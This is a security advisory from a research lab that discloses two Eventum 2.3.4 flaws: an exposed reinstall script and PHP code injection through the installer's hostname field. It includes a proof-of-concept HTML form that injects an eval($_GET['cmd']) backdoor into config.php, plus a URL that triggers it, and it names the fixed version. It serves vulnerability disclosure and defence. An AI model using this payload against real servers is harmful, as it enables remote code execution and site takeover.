Advisory ID: HTB23198
Product: Eventum
Vendor: Eventum Development Team
Vulnerable Version(s): 2.3.4 and probably prior
Tested Version: 2.3.4
Advisory Publication: January 22, 2014 [without technical details]
Vendor Notification: January 22, 2014=20
Vendor Patch: January 24, 2014=20
Public Disclosure: January 27, 2014=20
Vulnerability Type: Incorrect Default Permissions [CWE-276], Code Injection=
[CWE-94]
CVE References: CVE-2014-1631, CVE-2014-1632
Risk Level: Critical=20
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:=
C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Eventum,=
which can be exploited to reinstall and compromise vulnerable application=
=2E
1) Incorrect Default Permissions in Eventum: CVE-2014-1631
The vulnerability exists due to incorrect default permission set for instal=
lation scripts. Access to installation script located at "/setup/index.php"=
is not restricted by default and the script is not deleted during the inst=
allation process. A remote attacker can access the script and reinstall vul=
nerable application.=20
The installation script can be access by a remote unauthenticated user via =
the following URL:
http://[host]/setup/index.php
2) Code Injection in Eventum: CVE-2014-1632
The vulnerability exists due to insufficient sanitization of the HTTP POST =
parameter "hostname" in "/config/config.php" script during the installation=
process. A remote attacker can inject and execute arbitrary PHP code on th=
e target system with privileges of the webserver. Successful exploitation r=
equires access to application=E2=80=99s database, which can be achieved by =
providing address of attacker-controlled MySQL server.=20
The following exploitation example injects a backdoor into "/config/config=
=2Ephp" file:
<form action=3D"http://[host]/setup/index.php" method=3D"post" name=3D"main=
">
<input type=3D"hidden" name=3D"cat" value=3D"install">
<input type=3D"hidden" name=3D"hostname" value=3D"'); eval($_GET['cmd']); $=
tmp=3D('">
<input type=3D"hidden" name=3D"relative" value=3D"/">
<input type=3D"hidden" name=3D"db_hostname" value=3D"db_hostname">
<input type=3D"hidden" name=3D"db_name" value=3D"db_name">
<input type=3D"hidden" name=3D"db_table_prefix" value=3D"db_table_prefix">
<input type=3D"hidden" name=3D"drop_tables" value=3D"yes">
<input type=3D"hidden" name=3D"db_username" value=3D"db_username">
<input type=3D"hidden" name=3D"setup[smtp][from]" value=3D"email@email.com"=
>
<input type=3D"hidden" name=3D"setup[smtp][host]" value=3D"localhost">
<input type=3D"hidden" name=3D"setup[smtp][port]" value=3D"25">
<input type=3D"hidden" name=3D"" value=3D"">
<input type=3D"submit" id=3D"btn">
</form>
After successful reinstallation an attacker can execute arbitrary PHP code =
on the system. The following example executes the "phpinfo()" PHP function =
on the vulnerable system:
http://[host]/index.php?cmd=3Dphpinfo%28%29;
---------------------------------------------------------------------------=
--------------------
Solution:
Update to Eventum 2.3.5
More Information:
https://bugs.launchpad.net/eventum/+bug/1271499
Vendor disclosed vulnerabilities and authorized us to release advisory on p=
ublic before our usual delay (3 weeks).
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23198 - https://www.htbridge.com/advisory/=
HTB23198 - Multiple Vulnerabilities in Eventum.
[2] Eventum - https://launchpad.net/eventum - Eventum is a user-friendly an=
d flexible issue tracking system that can be used by a support department t=
o track incoming technical support requests, or by a software development t=
eam to quickly organize tasks and bugs.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.